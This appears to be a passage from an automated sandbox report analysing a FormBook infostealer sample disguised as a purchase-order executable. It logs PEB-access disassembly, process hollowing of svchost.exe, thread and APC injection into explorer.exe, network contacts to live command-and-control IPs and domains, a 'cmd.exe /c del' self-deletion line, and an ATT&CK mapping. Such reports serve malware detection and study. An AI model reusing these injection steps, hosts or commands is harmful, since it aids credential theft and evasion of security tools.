Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C25210 mov eax, dword ptr fs:[00000030h]	7_2_03C25210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C25210 mov eax, dword ptr fs:[00000030h]	7_2_03C25210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2AA16 mov eax, dword ptr fs:[00000030h]	7_2_03C2AA16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2AA16 mov eax, dword ptr fs:[00000030h]	7_2_03C2AA16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C43A1C mov eax, dword ptr fs:[00000030h]	7_2_03C43A1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEAA16 mov eax, dword ptr fs:[00000030h]	7_2_03CEAA16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEAA16 mov eax, dword ptr fs:[00000030h]	7_2_03CEAA16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64A2C mov eax, dword ptr fs:[00000030h]	7_2_03C64A2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64A2C mov eax, dword ptr fs:[00000030h]	7_2_03C64A2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A229 mov eax, dword ptr fs:[00000030h]	7_2_03C4A229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB41E8 mov eax, dword ptr fs:[00000030h]	7_2_03CB41E8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2B1E1 mov eax, dword ptr fs:[00000030h]	7_2_03C2B1E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2B1E1 mov eax, dword ptr fs:[00000030h]	7_2_03C2B1E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2B1E1 mov eax, dword ptr fs:[00000030h]	7_2_03C2B1E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A185 mov eax, dword ptr fs:[00000030h]	7_2_03C5A185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4C182 mov eax, dword ptr fs:[00000030h]	7_2_03C4C182
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52990 mov eax, dword ptr fs:[00000030h]	7_2_03C52990
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C561A0 mov eax, dword ptr fs:[00000030h]	7_2_03C561A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C561A0 mov eax, dword ptr fs:[00000030h]	7_2_03C561A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE49A4 mov eax, dword ptr fs:[00000030h]	7_2_03CE49A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE49A4 mov eax, dword ptr fs:[00000030h]	7_2_03CE49A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE49A4 mov eax, dword ptr fs:[00000030h]	7_2_03CE49A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE49A4 mov eax, dword ptr fs:[00000030h]	7_2_03CE49A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA69A6 mov eax, dword ptr fs:[00000030h]	7_2_03CA69A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA51BE mov eax, dword ptr fs:[00000030h]	7_2_03CA51BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA51BE mov eax, dword ptr fs:[00000030h]	7_2_03CA51BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA51BE mov eax, dword ptr fs:[00000030h]	7_2_03CA51BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA51BE mov eax, dword ptr fs:[00000030h]	7_2_03CA51BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov eax, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov eax, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov eax, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov ecx, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF mov eax, dword ptr fs:[00000030h]	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B944 mov eax, dword ptr fs:[00000030h]	7_2_03C4B944
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B944 mov eax, dword ptr fs:[00000030h]	7_2_03C4B944
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C962 mov eax, dword ptr fs:[00000030h]	7_2_03C2C962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2B171 mov eax, dword ptr fs:[00000030h]	7_2_03C2B171
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2B171 mov eax, dword ptr fs:[00000030h]	7_2_03C2B171
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29100 mov eax, dword ptr fs:[00000030h]	7_2_03C29100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29100 mov eax, dword ptr fs:[00000030h]	7_2_03C29100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29100 mov eax, dword ptr fs:[00000030h]	7_2_03C29100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120 mov eax, dword ptr fs:[00000030h]	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120 mov eax, dword ptr fs:[00000030h]	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120 mov eax, dword ptr fs:[00000030h]	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120 mov eax, dword ptr fs:[00000030h]	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120 mov ecx, dword ptr fs:[00000030h]	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5513A mov eax, dword ptr fs:[00000030h]	7_2_03C5513A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5513A mov eax, dword ptr fs:[00000030h]	7_2_03C5513A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov eax, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov ecx, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov eax, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov eax, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov eax, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBB8D0 mov eax, dword ptr fs:[00000030h]	7_2_03CBB8D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B8E4 mov eax, dword ptr fs:[00000030h]	7_2_03C4B8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B8E4 mov eax, dword ptr fs:[00000030h]	7_2_03C4B8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C240E1 mov eax, dword ptr fs:[00000030h]	7_2_03C240E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C240E1 mov eax, dword ptr fs:[00000030h]	7_2_03C240E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C240E1 mov eax, dword ptr fs:[00000030h]	7_2_03C240E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C258EC mov eax, dword ptr fs:[00000030h]	7_2_03C258EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29080 mov eax, dword ptr fs:[00000030h]	7_2_03C29080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA3884 mov eax, dword ptr fs:[00000030h]	7_2_03CA3884
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA3884 mov eax, dword ptr fs:[00000030h]	7_2_03CA3884
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0 mov eax, dword ptr fs:[00000030h]	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C690AF mov eax, dword ptr fs:[00000030h]	7_2_03C690AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5F0BF mov ecx, dword ptr fs:[00000030h]	7_2_03C5F0BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5F0BF mov eax, dword ptr fs:[00000030h]	7_2_03C5F0BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5F0BF mov eax, dword ptr fs:[00000030h]	7_2_03C5F0BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40050 mov eax, dword ptr fs:[00000030h]	7_2_03C40050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40050 mov eax, dword ptr fs:[00000030h]	7_2_03C40050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF1074 mov eax, dword ptr fs:[00000030h]	7_2_03CF1074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE2073 mov eax, dword ptr fs:[00000030h]	7_2_03CE2073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF4015 mov eax, dword ptr fs:[00000030h]	7_2_03CF4015
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF4015 mov eax, dword ptr fs:[00000030h]	7_2_03CF4015
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7016 mov eax, dword ptr fs:[00000030h]	7_2_03CA7016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7016 mov eax, dword ptr fs:[00000030h]	7_2_03CA7016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7016 mov eax, dword ptr fs:[00000030h]	7_2_03CA7016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5002D mov eax, dword ptr fs:[00000030h]	7_2_03C5002D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5002D mov eax, dword ptr fs:[00000030h]	7_2_03C5002D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5002D mov eax, dword ptr fs:[00000030h]	7_2_03C5002D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5002D mov eax, dword ptr fs:[00000030h]	7_2_03C5002D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5002D mov eax, dword ptr fs:[00000030h]	7_2_03C5002D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3B02A mov eax, dword ptr fs:[00000030h]	7_2_03C3B02A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3B02A mov eax, dword ptr fs:[00000030h]	7_2_03C3B02A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3B02A mov eax, dword ptr fs:[00000030h]	7_2_03C3B02A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3B02A mov eax, dword ptr fs:[00000030h]	7_2_03C3B02A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A830 mov eax, dword ptr fs:[00000030h]	7_2_03C4A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A830 mov eax, dword ptr fs:[00000030h]	7_2_03C4A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A830 mov eax, dword ptr fs:[00000030h]	7_2_03C4A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A830 mov eax, dword ptr fs:[00000030h]	7_2_03C4A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C637F5 mov eax, dword ptr fs:[00000030h]	7_2_03C637F5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38794 mov eax, dword ptr fs:[00000030h]	7_2_03C38794
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7794 mov eax, dword ptr fs:[00000030h]	7_2_03CA7794
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7794 mov eax, dword ptr fs:[00000030h]	7_2_03CA7794
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA7794 mov eax, dword ptr fs:[00000030h]	7_2_03CA7794
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EF40 mov eax, dword ptr fs:[00000030h]	7_2_03C3EF40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3FF60 mov eax, dword ptr fs:[00000030h]	7_2_03C3FF60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8F6A mov eax, dword ptr fs:[00000030h]	7_2_03CF8F6A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF070D mov eax, dword ptr fs:[00000030h]	7_2_03CF070D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF070D mov eax, dword ptr fs:[00000030h]	7_2_03CF070D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A70E mov eax, dword ptr fs:[00000030h]	7_2_03C5A70E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A70E mov eax, dword ptr fs:[00000030h]	7_2_03C5A70E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4F716 mov eax, dword ptr fs:[00000030h]	7_2_03C4F716
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBFF10 mov eax, dword ptr fs:[00000030h]	7_2_03CBFF10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBFF10 mov eax, dword ptr fs:[00000030h]	7_2_03CBFF10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C24F2E mov eax, dword ptr fs:[00000030h]	7_2_03C24F2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C24F2E mov eax, dword ptr fs:[00000030h]	7_2_03C24F2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E730 mov eax, dword ptr fs:[00000030h]	7_2_03C5E730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B73D mov eax, dword ptr fs:[00000030h]	7_2_03C4B73D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B73D mov eax, dword ptr fs:[00000030h]	7_2_03C4B73D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68EC7 mov eax, dword ptr fs:[00000030h]	7_2_03C68EC7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C536CC mov eax, dword ptr fs:[00000030h]	7_2_03C536CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDFEC0 mov eax, dword ptr fs:[00000030h]	7_2_03CDFEC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8ED6 mov eax, dword ptr fs:[00000030h]	7_2_03CF8ED6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C376E2 mov eax, dword ptr fs:[00000030h]	7_2_03C376E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C516E0 mov ecx, dword ptr fs:[00000030h]	7_2_03C516E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBFE87 mov eax, dword ptr fs:[00000030h]	7_2_03CBFE87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF0EA5 mov eax, dword ptr fs:[00000030h]	7_2_03CF0EA5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF0EA5 mov eax, dword ptr fs:[00000030h]	7_2_03CF0EA5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF0EA5 mov eax, dword ptr fs:[00000030h]	7_2_03CF0EA5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA46A7 mov eax, dword ptr fs:[00000030h]	7_2_03CA46A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C37E41 mov eax, dword ptr fs:[00000030h]	7_2_03C37E41
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C37E41 mov eax, dword ptr fs:[00000030h]	7_2_03C37E41
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C37E41 mov eax, dword ptr fs:[00000030h]	7_2_03C37E41
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C37E41 mov eax, dword ptr fs:[00000030h]	7_2_03C37E41

Source: C:\Users\user\Desktop\PO# 0499699.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.94 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.90.65.115 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.yihetubu.com
Source: C:\Windows\explorer.exe	Network Connect: 103.224.182.244 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.uxdnxodpo.icu
Source: C:\Windows\explorer.exe	Domain query: www.jackgaughan.net
Source: C:\Windows\explorer.exe	Domain query: www.yourcreativeconsultantgroup.com
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.147 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.skincarezwolle.com
Source: C:\Windows\explorer.exe	Domain query: www.nuskinhk.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.175.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.83.72.159 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.esmcharts.com
Source: C:\Windows\explorer.exe	Domain query: www.cestsansgluten.net
Source: C:\Windows\explorer.exe	Domain query: www.zgwljypx.com

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe	Section loaded: unknown target: C:\Users\user\Desktop\PO# 0499699.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PO# 0499699.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PO# 0499699.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PO# 0499699.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PO# 0499699.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Users\user\Desktop\PO# 0499699.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 3424	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe

Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: 1220000

Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe	Process created: C:\Users\user\Desktop\PO# 0499699.exe 'C:\Users\user\Desktop\PO# 0499699.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO# 0499699.exe'			Jump to behavior

Source: explorer.exe, 00000003.00000000.687134200.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000003.00000000.660516879.0000000001080000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.915640945.0000000006350000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000003.00000000.660516879.0000000001080000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.915640945.0000000006350000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.660516879.0000000001080000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.915640945.0000000006350000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.660516879.0000000001080000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.915640945.0000000006350000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000003.00000000.675739155.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_004059FF GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_004059FF

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection512	Virtualization/Sandbox Evasion3	OS Credential Dumping	Security Software Discovery131	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection512	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing11	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
